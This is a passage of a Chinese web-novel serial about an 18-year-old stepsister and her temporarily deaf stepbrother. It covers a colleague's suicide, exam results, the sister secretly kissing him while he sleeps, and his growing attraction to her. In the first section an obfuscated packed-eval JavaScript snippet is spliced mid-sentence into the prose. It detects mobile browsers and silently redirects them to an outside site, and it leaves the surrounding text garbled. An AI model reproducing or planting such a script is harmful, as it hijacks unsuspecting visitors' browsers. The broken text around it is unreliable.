徐琳用手背擦拭眼泪,再抬起头时,情绪平复了一些:“他有抑郁症,两年了。”说着,她又开始自语:“我们谈恋爱七年,我爸嫌贫爱富,没有车房绝不松口我们结婚,就这么耗了这些年。前阵子家里逼我相亲,非要我跟他分手,我实在顶不住了,我...我...” 她陷入失语,脸上尽是懊恼和自责。谭溪及时握住她的手:“不怪你,这次是因为工作上的失误,我哥说,那个陷阱..做的很狡猾,就连他也难以识破。” 谭溪选择隐瞒,她把李舟犯下的错编造成一道难题,以此来缓解徐琳的自责。 把这个消息告诉徐琳,她也同样感到自责。 可她并不后悔,她无法看着被愧疚折磨的谭禹无动于衷。 “我哥一直都在为李舟的死感到愧疚,就连李舟的家里人,也把这件事归咎于我哥哥的身上,更有甚者认为,是他逼死的李舟。” 徐琳摇头:“李舟很尊重你哥哥,他说,谭禹对他来说,是良师益友。” “方便的话,可以把李舟的诊断证明给我吗。” “可以。” .. 家里,冷气在吹,谭禹却满心烦躁,他抱臂看着电脑上的报表,密密麻麻的字像串乱码,撞在他大脑上,再迅速四散。 今天的工作效率太低,他专注的时间太短,只要凝神超过三分钟,思绪就又不由自主的跑到别的地方。 什么地方? 他清楚,却不想承认,不想承认自己实际上跟妹妹拥有同样的占有欲。 电脑上忽然出现张倩倩的头像,谭禹点进两人的对话框,看到几条让他紧皱眉心的消息。 谭溪要了李舟家的地址,她不是在跟同学约会吗?她想做什么? 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174732|196892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无暇顾及那么多,李舟妈妈咒骂的嘴脸又在眼前出现。 谭禹拿上手机,飞奔出家门。 他走的很快,步调中带着仓促和慌张,他无法想象如果那些刺耳的话进入谭溪耳中会怎么样? 恶语如刀,会刮破妹妹柔软的心。 路边拦下一辆车,谭禹把手机塞进司机手里:“麻烦去这个地方,我耳朵听不见,您有事就打字。” 司机流露出惋惜的目光。 从这里到李舟家,大概需要半个小时的车程,谭禹不停地给谭溪拨打电话,可得到都是挂断,他抿紧嘴唇,焦躁的看向窗外。 只要想象着谭溪被骂,想象着妹妹会因为那些话流泪...不,那无法想象。 车子猛然停下,谭禹的额头因为惯性撞到前座上,他骤然抬起头,拧眉看向前方。 前面有两辆车相撞了,问题不大,他的司机在探着脑袋看热闹。 谭禹又一次开口:“师傅,咱们绕道,我有急事。” 司机转过来,嘴里巴啦啦说了很长一段话,可谭禹的耳中是寂静的,他感受到的只有烦躁和急切。 他头一回这么痛恨自己的失聪,他无比迫切希望耳朵尽快好起来,他必须要立刻见到谭溪,听到谭溪说话。 看着他的神色,司机忽然反应过来,他懊恼的拍拍大腿,打出一行字给谭禹看。 “绕不了,前面不能掉头,只能等了。” 谭禹深吸口气,在手机上搜索,明确路线后,他付钱下车。 因为那则事故,交通陷入短暂的瘫痪,谭禹眼观六路,越过一辆又一辆的车,想要越过这段路。 耳朵听不到,他只能用眼神去判断,可终究有疏忽,黑色车子擦着他的鞋边开过,司机走了老远都要用咒骂的话攻击他。 谭禹来不及去想这些,他只想尽快到达李舟家,见到谭溪。 越走越快,最后几乎是在跑,毒辣的太阳照在身上,将近四十度的高温让他全身上下每个毛孔都冒着热气。 鼻息和喉咙浮上一层刺痛,可更窒息的是见不到她的焦灼。 他沉目狂奔,终于在李舟家门前停下。 “哥哥。” 熟悉的声音夹杂着蝉鸣冲入耳朵,让寂静的荒原洒进阳光。 谭禹没有心思去捕捉那一瞬的声音,他只是快步走到谭溪身边,用眼睛确认她的状态,除了脸蛋红了一些,似乎没有异样。 他拉住谭溪的胳膊,将她护在身后,用渗人的目光盯着李舟妈妈警告:“有什么事冲着我来。” 布满汗水的掌心被反握,谭禹看到谭溪给他打字,也看到李舟妈妈愧疚的神色。 事情被谭溪解决了。 李舟妈妈同意跟公司和解、跟谭禹道歉。 而导致这个结果的人,是谭溪。 兄妹两人终于有机会慢下来,谭溪踮起脚尖为他擦汗,谭禹垂目,想的尽是刚才发生的一切。 他哑声向谭溪问:“你跟她说了什么?” 谭溪笑弯眼睛,手速飞快,打字给他看:“就像哥哥教我的那样,我也跟李舟妈妈讲了什么是风投。” “我说,老师带着做过原题,学生还是犯了错,难道老师不该批评学生吗。” “还有一件事,李舟有抑郁症,我把从他前女友那里拿到的诊断证明给了李阿姨。” 她竟然还去找了李舟的前女友? 谭溪真的太让他意外了。 谭禹沉默不语,谭溪嘟着嘴看他,控诉:“哥哥,你为什么这副表情,难道我做的事情不该得到你的夸赞吗?” 她才不是做了好事不留名的性子,她需要肯定和赞扬,也需要谭禹的感激。 谭禹揉揉她的头顶,很轻的说了一句:“很厉害。” 谭溪的开心溢于言表,她拉着谭禹的胳膊一摇一晃,后脚跟不着地。 谭禹落后半步,沉寂的目光定格在她因为雀跃而扬起的发梢。 撒谎出门、找到李舟前女友、又劝说李舟的母亲,今天的谭溪是独立而机敏的。 更重要的是,她给了他这段时间以来一直欠缺的安慰和信任。 按理说,他应该为此感到高兴,可为什么,比高兴早一步到来的,会是失落。 妹妹长大了,她逐渐具备处理好所有的事情的能力。 既然如此,那他这个哥哥还有什么发挥的空间和余地。 阳光晒得人睁不开眼,世界还是一片寂静。谭禹恍然意识到,他的失落和恐慌源自不再被谭溪需要,或者说,是遗弃。 15. 听见了 李舟的事解决后,谭溪很开心,因为谭禹心里头那个疙瘩解开了,他不再时常紧皱着眉头出神。 哥哥开心,她也开心。 “哥哥,你的耳朵,能听到声音了吗?” 谭溪好奇地问,既然心结解开了,那耳朵是不是也该恢复了。 她是该高兴的,可又有些低落,谭禹的耳朵恢复后,就不再需要她这个耳朵了,更重要的是,她还什么都没做呢! 一天到晚在脑子里想着亲亲亲,可压根没找到机会,白天一直都处于清醒状态,晚上他的房门又锁的比月末的裤腰带还紧,哪里有机会让谭溪施展拳脚。 她的问题让谭禹想到昨天,那声很轻的‘哥哥’,当时太慌张,他根本没心思去确认那到底是真的还是假的,但就目前的情况来说,大概率是焦虑之下的幻听。 他摇摇头。 谭溪鼓励他。 “没关系的,慢慢来,我会陪着你:D” 妹妹脸上的笑容远比符号要生动,谭禹牵起嘴角,淡笑,他想到晨时浏览的新闻,又看看日子,问:“今晚是不是要出成绩了?” 谭溪的心情down下去,趴在桌子上苦瓜似的点头。 “今晚查还是明天?” 谭溪摇头,又点头,最后还是选择今晚,与其紧张一整晚,不如早点做了断,她还是喜欢快刀斩乱麻。 午餐后,日头正盛,谭禹拉上客厅的窗帘,坐到阳台上的按摩椅,打算在这里睡一会儿。 前阵子紧绷的神经让他忘记了午休这个习惯,可是今天他竟然久违的感到困倦。 今天没什么特别,但又好像不一般。 谭溪遥遥的看向已经阖目的谭禹,心里有两个小人在激烈斗争。 这是个好时机,等谭禹的耳朵恢复就没机会了! 可是..万一被哥哥发现了怎么办? 不会的,谭禹听不到啊,再说了,你解决了李舟的事,奖励自己一下也不行吗? 好像有点道理... 谭溪被自己说服了,她站起来走到谭禹身边,低头去看他。 纱帘遮住刺眼的阳光,暗下来的光影让他的轮廓看上去更加深邃。 谭溪的目光落在那两片薄唇上,她看的仔细,下唇稍厚,最右侧的唇角还有一颗很浅的褐色小痣,嘴唇并不干裂,看着十分柔软。 就,挺好亲的。 她给哥哥做了这么久的耳朵,收点儿报酬,不过分吧? 谭溪这么想着。 她把头发挽在耳后,稍稍低头,动作慢放,唯恐惊扰到他。 这真是个适合接吻的氛围,阳光不再刺眼,只剩下温暖的余韵,哥哥蓬松的头发盖在眼皮上,熟睡中的放松让他冷肃的脸多了些柔和。 谭溪颤颤巍巍的低下头,把唇瓣印在他的唇角,很轻的一下,一触即离。 她只闻到一丝极淡的雪松香,接着就被酥麻的感觉吓软了腿,跟触感比起来,更让她觉得头皮发麻的是偷吻谭禹这件事本身。 紧张、刺激、满足。 她捂住嘴巴,抑制住想要尖叫的冲动,一口气冲到房间,整个人扑到床上,傻乐着来回翻滚。 竟然真的给她亲到了! 好开心好幸福! 谭溪抓过枕头,紧紧抱在怀里,鼻尖在柔软的枕皮上蹭来蹭去。 谭溪整个下午都处于一种兴奋的状态,谭禹说话的时候,她的眼睛不由自主就停留在他的唇瓣,薄薄的两片,亲上去十分柔软。 还想亲。 她像找到有趣的玩具,又像是虎视眈眈许久的猎物,期许着待他不察,一口咬上去。 时针走到十二点,本该是休息的时间,但无论是燕北还是南城,都没人睡得着。 方燕如和谭宽在电话那边屏气凝神,谭溪则握着鼠标等待最后几秒钟的到来。 秒针落在最后一秒,谭溪闭着眼睛按下鼠标键,然后鸵鸟一般捂着眼睛逃开。 谭禹静静地等待页面加载,卡顿之后,出现她的分数。 看着她紧捂着眼睛,不敢漏出半分的小模样,谭禹忍不住失笑。 他清清嗓子,口吻庄重而又严肃:“谭溪同学,你的高考分数是...652分。”宣布完这个消息,冷肃被温柔吞噬,谭禹摸摸她的脑袋:“恭喜你,小溪。” 谭溪满脑子就只有652,这比她平时成绩高出将近30分! 走大运了! 短暂的呆滞后,狂喜瞬间涌上脑门,谭溪遵循身体最本能的反应,抱着谭禹的头在他脸颊上吧唧亲一口,声音响亮,动作迅速。 谭禹的瞳孔一瞬间紧缩,他愣在原地,还没反应过来,就被谭溪扑在身上尖叫,随之一起来的,是电话那头,两位家长的道贺声。 他被喜悦的气氛淹没,不得不忽略掉那些不同寻常的地方和妹妹突兀的举动。 这是件大喜事,的确值得用亲吻的方式来表达祝福,妹妹做的没错。 这个理由说服了谭禹,他伸出手,掌心拍上谭溪的肩膀,和她共享这份心情。 “小溪,你的分数比预估的要高很多,考虑冲燕北的名校吗?” 其实留在南大,选择一个更好的专业,也是个稳妥的选项,但经过这些天的相处和陪伴,谭禹私心还是想让妹妹离自己更近一些。 谭溪有些犹豫,打出的话删删减减,最后只留下一句我考虑考虑。 谭禹看出她的纠结,也看出谭溪对南大的偏向,按理来说,他不该继续讲下去,可面对谭溪或许会离开这个结果,他不仅说不出理解的话,反而想要摆出条件诱惑她留在燕北。 换而言之,留在他的身边,他好像无法接受这栋房子重新回归到冷清。 他静静坐着,看谭溪跟朋友互通消息。 妹妹大概率还是会报南大,留在南城。大学生活总是很美好的,尤其是丰富的课外活动,她会认识志同道合的朋友,或者是萌生情愫的男孩。 届时,她被乱花迷住眼睛,还会记得自己这个无足轻重的哥哥吗?她还会像从前那样信任他、依赖他吗,她遇到问题和麻烦,想到的第一个人,还会是他吗。 谭禹给不出笃定的答案,徒生的烦躁和没由来的慌乱让他无法再维持静坐。 他站起来,拉住谭溪的胳膊,带着她往屋里走:“很晚了,睡觉吧。” 谭溪没有推脱,懒散的借着他的力走路,倒在床上,她在谭禹临走前拉住他,把手机上滚动的字举到头顶。 哥哥,我考的很好,你不奖励我吗? 谭禹把这行话尽收眼底,也把谭溪期待的表情记在心里,他把那手机拿下来,微微弯腰,对上她的眼睛:“你想要什么?” 如果满足了妹妹的奖励,她可以答应留在燕北吗。 这是谭禹想说的话,可惜,他不是谭溪,这话他说不出口。 谭溪趁火打劫,指着自己的脸颊意有所指,她把嘴巴放慢,让谭禹看清楚那两个叠字:“亲亲。” 由于在她身上体会过这种感觉,谭禹只是单单看着这两个字,就能感受到妹妹唇瓣印在脸上的柔软,就连嘴唇周围那些看不见的小绒毛都变得存在感强烈,在他心上不轻不重的搔痒。 可他是哥哥,他怎么可能像谭溪那样,无所顾忌的向她亲吻。 谭禹不容置喙的摇头:“换一个。” 谭溪笑意不再,沮丧的耷拉着嘴角,又像在瞪他,她一个人嘀嘀咕咕:“凭什么不行,那小时候我做的很棒你就是会亲我的啊。” 她似乎忘了,那些事发生在她很小很小,小的连性别都分不清的时候。 谭溪试图做最后的挣扎,她又打出一行字:“可是今天是个好日子,是你说的,拥抱亲吻可以在这种时刻发生,哥哥连自己说过的话都不记得吗?” 谭禹紧抿着嘴角,纷乱的思绪在激烈争吵,妹妹说的没错,今天是个好日子,这是件喜事。 用这种方式来庆祝,不行吗? 行。 谭禹不知道是该说自己毫无底线还是巧舌如簧,他又一次说服了自己。 迎着谭溪激动又期待的目光,他上前走几步,垂下眼睛,低下在她额头上留下一个很轻的吻。他该马上离开的,可究竟是不舍,还是别的什么谭禹自己都搞不懂的留恋。 他没有抽 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他后仰下去,把自己摔落在床垫上,跟着一起激荡的,还有那颗起伏不定的心脏。 这晚他睡得很不安稳,梦到很多很多事,第一次见到谭溪、三年后见到谭溪,最后落定到在李舟楼下,那声夹杂着蝉鸣涌入他耳朵的‘哥哥’。 那在梦里很清晰,好像不是幻听。 一觉醒来,谭禹打开手机,看到跟往常一样的时间,他的生物钟已经形成,即使没有闹钟,也能准点起床。 他照例穿衣叠被,整理床铺,又拉开窗帘,任由阳光倾洒进来。 客厅里很安静,谭禹打开阳台上的窗户透气,窗外绿意盎然,伟岸的香樟树生机勃勃。 在蝴蝶挥动翅膀的某个瞬间,所有知了开始鸣叫,蝉鸣声如同泻闸的洪水,一股脑涌入谭禹的耳朵,与此同时,那声在梦里听见过的‘哥哥’也一同来了。 这不是幻听,这是真的。 谭禹带着一阵风转身,动作急迅,看到从卧室里走出来的谭溪,她打着哈欠伸懒腰,嘴里在说:“哥哥干嘛开窗户啊,好热。” 谭禹一个字都不落的听见了,包括妹妹话里的慵懒和没睡醒的不耐。 尽管早就练就波澜不起的心境,可在这一刻,他还是感到激动,他迫不及待的想要把这则消息告诉谭溪。 可又想,不如等等,等她消了起床气,给她一个惊喜。 “我去做饭,给你做布丁好吗?”谭禹面带笑意,经过谭溪身边时带着一阵轻风。 谭溪伸手去抓,却只捞到空气中的浮尘。 她嘟嘟囔囔:“什么情况...大早上吃布丁...” 回到餐桌前,谭溪看到品相绝佳的焦糖布丁,她对所有甜点照单全收,很夸张的对谭禹说:“谢谢哥哥,哥哥最最最最好啦。” 谭禹收下这份夸赞的同时不由得感慨,还是亲耳听到更为舒服,耳朵恢复后,他就能天天听到谭溪的话,那一定很不错。 想到她的叽叽喳喳,谭禹的唇角翘起很轻的弧度,哄着她:“你先吃,吃完我有一个好消息要告诉你。” 谭溪点头,把布丁含在唇齿间,她伸出舌头在上面轻舔一下,发觉这触感跟哥哥的嘴唇类似,可惜,她还没能找到机会亲口尝尝哥哥这块布丁。 看着谭禹樱粉的嘴唇,谭溪吞咽着布丁幽幽感慨:“唉,要是哥哥眼睛也看不到就好了,这样我就可以随便亲你、吻你。” 话说到这,她又想起在不正经小说里看到的各类招数,偷偷补充一句:“就算是坐在哥哥脸上...哥哥也不知道...” 这话太大胆,虽然知道谭禹听不到,但她还是有点不好意思的低下头。 玻璃杯和桌子碰撞的声音惊醒谭溪的害羞,她抬起头,看到洒了的牛奶在谭禹身上肆意流淌。 一如他们初次见面,但不同的是,这次失误的人是谭禹。 谭禹僵硬着,对此不做任何处理措施,垂着的眼睛缓慢掀开,直直的盯向谭溪。 她到底在说什么疯话。 16. 听见了 播放着欢快儿歌的主题餐厅里,四个人两两对坐。 林溪嘴巴里塞了根薯条,用嘴唇的力量往里吞咽,本该用来扶着薯条的双手,紧紧把着套餐里附送的玩具。 方燕如有些生疏的跟谭禹搭话:“小禹,听你爸爸说,你考上了南大附中,真厉害啊。” 谭禹笑容很淡的点头,目光落在林溪手里的玩具,那是只发条小狗,或许是里面的螺丝松了,林溪一直在尝试让它恢复。 他不想去看方燕如稍显局促的姿态,索性静静看着那只小狗,直到对上林溪葡萄般水润的眼睛。 和谭禹对视两秒后,林溪十分自然地把玩具递给他,说:“哥哥,你能帮我修好吗。” 两个大人都有些诧异,就连谭禹本人也是,初次见面时她的沉默让谭禹以为这是个内向的小朋友。 他接过了那个玩具,顺理成章坐到她的身边,玩具在他手下一阵捣鼓,试过无误后,他交给林溪。 林溪嘴里又塞了根新的薯条,她还是维持着原有的方法,只用嘴巴发力。 小狗从桌子这头跑到那头,谭禹看到她乐开花,欢欣雀跃:“谢谢你,哥哥,你是我见过最厉害的哥哥。” 谭禹被她直白的夸赞哽噎到,一时之间竟然说不出话。 他很久没跟这么大的小孩子相处了。 林溪一边玩,一边吃薯条,方法没变,谭禹坐在她的身边,一边关注她,一边应和两位大人的话。 手臂被拉住,他低头,看到林溪指指嘴上的薯条,又指指番茄酱。 他明白了。 他找到自己在这场饭局中发挥的最大作用,在林溪的薯条上挤番茄酱。 初次见面的兄妹二人,竟然有种浑然天成的默契,对于这个重组家庭来说,是件难得的好事。 两个大人看着这一幕,相视一笑的同时皆松了口气,尤其是谭宽,他原本以为谭禹会排斥新的家庭成员。 饭吃到最后,方燕如叮嘱林溪把杯子里的牛奶喝掉,谭禹顺手递给她,或许是手心出汗,也或许是她的心思不在牛奶上,那牛奶洒了,洒到了谭禹身上。 所有人都围过来,林溪也无措的说着对不起,玩具狗已经走出了桌子的边缘落到地上,但她根本没注意,满眼只有哥哥。 谭禹露出今天的第一个笑容,他握住林溪的手说,没关系,妹妹。 ... “哥哥你没事吧!”谭溪连抽好几张纸巾铺在谭禹腿上。 但洒了的牛奶已经浸湿了大腿,补救根本无济于事。 谭禹薄唇紧抿,移开眼睛,压着嗓子说句:“我去换身衣服。” 他僵直着身体站起来,牛奶顺着裤腿滴到鞋面上,让他整个人看起来狼狈不堪,但谭禹毫无心思在意这些,他只是机械的摆动着肢体,往前走。 打开房门,看到团成一团的被子和随意扔着的衣服,谭禹的僵硬一寸寸瓦解,他后知后觉的意识到,他走错了。 他习惯性的回到自己原来的主卧,这里现在是谭溪的地盘。 对,谭溪的。 谭溪,谭溪,他的妹妹,他的妹妹怎么能说出那样的话。 谭禹及时调整方向,去往自己的房间,进屋前,他转身看向谭溪。 她仍然坐在桌边,嘴里咬着一根草莓格力高,吃东西的姿势和方法跟小时候一模一样。 可是一切都不一样了。 谭禹的眼神从惊愕到木然,再被一种更为复杂的情绪替代,他深深地,看谭溪最后一眼。 回到房间,他把自己撑在门板上,浸湿的裤子贴着皮肤,在上面留下潮湿的、黏腻的触感,他无暇顾及。 谭禹阖上眼睛,呼吸的节律跳拍,又一次在耳边回响起谭溪的话。 她说那些... 难道是... 难道是出于对异性的好奇? 在这个互联网高度发达的时代,乌七八糟的信息无孔不入,她无意间点到或者看到关于两性知识的图文,对这些感到好奇,这太正常了。 已知谭溪没有谈过恋爱,爸爸和方姨忙着四处奔波自然也顾不上她,她就只能自己去摸索,难免会走上歧路,从而把对哥哥从小到大的依赖误认为情人间的爱恋。 谭禹终于明白为什么谭溪会在他喜欢谁这件事上有那么强的占有欲,她错误的混淆了自己的感情,把他当做情感寄托,进而要求他的唯一和忠贞,至于那些亲密的肢体接触,也是恋人之间一定会做的事。 这样一来,一切就都说得通了。 想明白这点,愧疚开始迅速蔓延。 青春期是树立两性观念的重要时期,而他没能带谭溪走上正确的路,反而让妹妹对他产生了错误的认知。幸好这件事只有他知道,没有第二个人得知,否则传出去,风言风语都能把谭溪淹死。 那他现在要站出去告诉谭溪这都是错的吗? 想到她佯装胆大下的羞涩,谭禹不觉得这是个好时机。 十八岁的脸皮是张薄纸,稍稍用力,就会被扯破。 保护妹妹的方方面面是哥哥毕生的义务。 谭禹换了身干净衣服重新坐到谭溪对面,他重新倒了杯牛奶,递过去的时候,眼睛在她脸上极短的掠过。 看着跟往日的早晨没什么区别,但不同的是,谭禹听到她在说话了。 她一边吃饭一边自言自语:“唉,喝了这么多的牛奶怎么没长成大高个呢。蛋黄好难吃...好困啊,早知道昨天晚上不跟纱纱聊那么晚了。” 起初,谭禹听着这些唠叨,会在低头的瞬间微微翘起唇角,可听得越多,他心里就也不是滋味。 在他听不到的时候,谭溪是不是常常说着得不到回应的自语?又或者说,她一个人在家时,也常常这样? 谭禹忽然不想装下去了,他想回应妹妹说的每句话,让她不再感到孤单。 可是... 面前被塞来手机,谭溪用指尖点点他的胳膊。 “哥哥不是说有好消息要说?” 谭溪打了个饱嗝,等着谭禹的回答。 谭禹象征性的看了眼屏幕,拿出另一个牵强的答案:“明天我带你去找报志愿的老师,让他根据你的成绩和喜好出具一份志愿填报列表。” 谭溪失望的啊了一声,嘟嘟囔囔:“我还以为是我考得好,哥哥要奖励我呢,这算什么好消息啊。” “算了,昨天的亲亲就算奖励喽,有我这么容易满足的妹妹,哥哥你就偷着乐吧。” 她嘀嘀咕咕的时候,脸上表情也很生动,这样子真的..... 太可爱了。 谭禹掩下笑意,站起来,往储藏间去拿自己早就备好的东西。 怎么可能会没有礼物,在得知谭溪要来的第一天,他就在准备了。 谭溪吃完早饭,靠在椅子上跟同学聊天,翘在空中的小腿一压一压,浑身写满惬意。 她聊的专注,没能注意到谭禹的去而复返。 谭禹托着一个长方形快递盒,体积有他半个身子那么大,纸盒跟地板摩擦的声音引起谭溪的注意。 她转过身,看到盒子上的logo,眼睛一亮,抱着谭禹的胳膊撒娇:“是送我的吗!喜欢喜欢好喜欢!” 还没拆开呢就好喜欢了?小马屁精。 谭禹压了压唇角的笑,轻咳一声:“毕业礼物,打开看看。” 谭溪笑盈盈的打开包装完备的礼盒,露出里面的真容。 是一只很大的库洛米毛绒娃娃,谭溪开双臂抱住娃娃,把脸颊贴在上面,身体力行表达自己的喜欢。 一人一娃,抱在一起的画面十分和谐。 这跟谭禹想象中的画面相差无几,他看到谭溪打下的一行字。 “你什么时候买的?藏得这么好,我一点都没发现。” 谭禹伸手,想要将她和玩偶分开,想到什么,落在空中的手又收了回去,淡声说:“既然是惊喜,那就得藏好。” 谭溪傻笑着,抱着娃娃要去沙发。 谭禹到底还是伸出了手,掌心握住她的那一刻,另一 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谭禹像是看到了什么有趣的东西,目光定格在上面,有些出神。 直到谭溪半回头叫他,他才反应过来,将纽扣系在一起,手放得低了些,下缘压在她的皮肤上,是跟自己天差地别的触感。 松开链条,谭禹维持冷淡的表情:“好了。” 谭溪转过身,俏生生的站在他面前,笑的大大方方:“好看吗?” 钻石躺在她两只锁骨中间的凹陷处,莹白的皮肤是最好的展示台。 目光快速掠过,谭禹动身去收拾快递包装盒,跟谭溪擦肩而过时,留下一句轻声夸赞:“好看。” 这是个忙碌的上午,谭溪不停地跟老师和朋友打电话讨论志愿,而谭禹也拿起了砖头厚的志愿填报书翻看起来。 无论是昨天的犹豫还是今天的电话,都让谭禹明白,想让谭溪留在燕北的只有他。 或许回家对谁都好,谭溪能继续留在熟悉的环境,而她的错误认知也会随着时间和距离慢慢矫正。 他说服了自己,并开始着手规划南城的学校。 午后的阳光依旧刺眼,谭禹照例在阳台小憩,但他丝毫没有困意,只是想阖上眼睛,整理一下杂乱无章的思绪。 想想谭溪,想想自己。 “哥哥...” 小溪? 如果此时睁开眼,怕是会吓到她。 谭禹留出一道很窄的缝隙,仗着浓密的睫毛,遮挡住自己的窥视。 谭溪半蹲下来,伸出手指戳戳他的唇角,又觉得不满足,干脆上前一步,嘟起嘴唇要贴上去。 唇角已get,她今天要再往前进一步。 眼看着谭溪的脸越来越近,谭禹放置在腿上的手心骤然收紧,在谭溪的吻落下之前,佯装翻身侧过了身体。 于是原本计划落在嘴唇上的吻硬生生落在了脸颊。 意料之外的落差让谭溪心里空落落的,如果不是害怕弄醒哥哥,她真的会掰过他的脑袋补偿回来,可现在也只能加重这个吻的力度来惩罚他。 谭溪在他脸颊上啄吻几下,乐此不疲,待心满意足后,收回探出去的身体,支着下巴自言自语:“要是能光明正大和哥哥接吻就好了。唉,哥哥啊哥哥,你什么时候才能喜欢我呢,我真的很想亲你。” 语气里竟然还有几分失落。 谭溪又说了几句顾影自怜的丧气话,撑着腿站起来,回到沙发上继续跟朋友热聊。 直到听见她跟纱纱发语音的动静,谭禹才能确定她已经离开。 他缓慢睁开眼睛,视线越过摞起来的书籍,落到谭溪身上。 和谭溪的直白不同,他的眼神颇为复杂,略微压低眼睑,瞳孔被遮去一半后,一丝蓄势待发的锐利很快闪过。 但那一瞬的异常又很快被压下,谭禹收回自己的目光,无波无澜的闭上眼睛。 等报完志愿,他必须要采取措施来矫正妹妹的观念,不能再继续错下去。 17. 听见了 谭禹是家里的第一个大学生,当年报志愿的时候压根没让父母插手,亲手把自己送进了全国最高学府。 轮到谭溪,方燕如放心把这事交给他,并且不做任何要求。她没有在谭溪成长中给过足够的陪伴,自然也不会干涉她现在做出的决定。 谭禹找了一位深耕升学规划多年的朋友来帮忙,为表尊重,谭溪特意挑选了一身漂亮的衣服,还顺势化了妆。对着镜子打量半天,她才满意出门。 出了房门,看到谭禹在穿衣镜前站的笔直,一条深灰色暗纹的领带被他缠绕在指节上,谭溪小跑过去,从他手里接过领带。 谭禹微微挑眉,问:“你会系领带?” 谭溪自信点头,灵活的挽出一个标准的温莎结,做完之后两眼发光的盯着他,意图得到哥哥的夸奖。 看着完美到无可挑剔的温莎结,谭禹露出浅笑:“做得很好。” 可那笑意是不达眼底的,甚至有种嗅到危险气息后警备的意味。 他很想知道,为什么谭溪会用这么娴熟的手法系领带,谭溪没有一件衣服是需要系领带的,她用什么练手,又为谁而系。 胳膊上传来的拉扯感让谭禹暂时不再想这个问题,他看到谭溪在他面前原地转了个圈,粉色的一字领上衣衬得她人面桃花,荡起的裙摆在空中划出好看的弧度。 妹妹像极了一朵含苞待放的清荷。 他看到谭溪涂了唇蜜的两瓣嘴唇缓慢张合:“好、看、吗?” 那些颜色不满足于只待在她的唇瓣上,得寸进尺的蹭到皓齿,把她牙齿下缘也染上点点粉。这种突破秩序的东西,让谭禹看的很难受,他几乎下意识就想拿纸巾擦掉。 可是…这样真的合适吗? 他大概率会亲自上手,用手指抵着纸巾擦掉那些突兀的颜色,这个过程中,难免会碰到她柔软的嘴唇,妹妹的软舌也会调皮溜出来,或许会碰到他的指尖… 口腔是潮湿的,会分泌很多粘液,而张嘴的动作又会让这些不自觉的流出来,如果沾在他的手上... 他硬生生遏制住了这种冲动,并为自己多余的联想感到莫名其妙。 谭溪见他不说话,又扯起他的袖子,不过这次是用两根手指夹着一点点的布料,谭禹的衬衫连一个褶皱都没有,她实在不忍心破坏。 谭禹懂她的催促,他不再纵容自己片刻的失神,而是发自内心的称赞:“好看。” 所以,到底是谁教会他好看的妹妹打领带。 兄妹两人一同出发,本来是可以开车出行的,但想到自己还在‘失聪’的耳朵,谭禹只好打消这个念头。 出行的时候,谭溪依然维持这些日子养成的习惯,紧紧握着他的胳膊,谭禹非但不觉得燥热,反而有种本该如此的踏实感。 但他很快意识到不对,他是决定跟谭溪保持距离的,那就要从改变习惯开始,怎么就又... 他握住谭溪的手背,想要将她的手拂下来。可刚一触及,她就狡猾的顺势将手指插.入他的指缝,竟是比刚才更亲密的十指紧扣。 她笑的狡黠,谭禹看的头疼。 湿热的汗水浸湿他的掌心,还有她嘴唇上依旧莹润的唇彩,这让他又想到那个不合时宜的联想,黏腻的感觉无声缠绕着他。 谭禹抽离自己的手,面无表情的移开视线:“很热。” 谭溪从鼻子里发出一声哼,小声嘀咕:“热什么热,有你这个制冷机在身边我还怕热?” 谭禹从这话里听出些许不满,他压着唇角转回来,掌心贴上她的肩膀,带着她往前走。 燕北的出成绩的日子跟南城相近,机构里塞满带着孩子来咨询的家长,谭溪拉着谭禹的手腕,被工作人员带到单独的办公室。 “宋老师,您的客人到了。” “诶谭禹,好久不见了,啊,抱歉,我忘了你现在暂时听不到。”宋展面露懊恼,接着转移视线到谭溪身上,微微惊讶:“你是小溪?” 谭溪同样感到惊讶:“我是小溪,宋..老师,您认识我吗?” 宋展哈哈一笑,下意识的就要在她头发上揉一把,被谭禹用胳膊挡开,这才解释说:“当然认识你了,谭禹的宝贝妹妹嘛,我们都知道的,以前他经常周末回家看你。” 这倒没夸张,谭禹上大学的时候一没课就往家跑。 谭溪看看谭禹,又看看宋展,笑容有些傻气。 宋展逗她:“叫什么宋老师,叫声哥哥听听。” 谭溪大大方方:“宋哥哥好。” 谭禹走到宋展身边,用肘部撞向他的后腰,淡声警告:“胡扯什么呢,说正事。” 反正他听不到,宋展才不在意,当场跟谭溪吐槽起来:“看你哥装的多正经,我们这群人里就数他心眼儿最多,那词儿怎么讲,焉儿坏。” 谭溪起了好奇心,看着跟这个词丝毫不搭边的谭禹,问:“为什么这么说呀。” “大一的时候我们一起参加学校的社团,有个学长跟没开智的原始人一样,我们提起他就是一顿骂,谭禹每回都不吭声,我还以为他还是个没脾气的,后来才发现他这人憋着坏,你知道他给那个学长的微信备注是什么吗?”宋展连说带比划,完全没有半点宋老师的沉稳。 谭溪伸长脖子,眉毛高高扬起,对此充满好奇。 而谭禹则深吸口气,眼刀扫了宋展一眼,侧过了身子。 这人怎么还是跟以前一样嘴上没个把门。 “三路运使。”话刚出说口,宋展就憋不住大笑起来。 谭溪愣了一愣,反应过来后,同他一起笑。 何不以溺自照面,看做得三路运使无。 他还真是拐着弯的骂人。 谭溪似乎从他口中看到了哥哥的另一面,她觉得好有趣,想让宋展再多说一些:“宋哥哥你...” 宋展张了张嘴,话还没说出口,先被谭禹暗藏威胁的语气拦住,他压低眉眼,眼含不善:“宋展,不要在我妹妹面前胡说八道。” 谁敢惹他啊。 宋展讪笑:“得得得,不说这些了,咱来谈谈正事。”他示意兄妹二人坐在他的对面,人站在白板旁边,把谭溪的分数和位次列在最上方,看向二人,问:“各自谈谈你们的意愿。” “我想留在南城,最远到邻市,再远的不想考虑,专业的话,除了医护和计算机,其他没有特别排斥的。”谭溪还是想留在家里,虽然父母不常在家,但她有熟悉的环境和朋友,那是她的安全感来源。 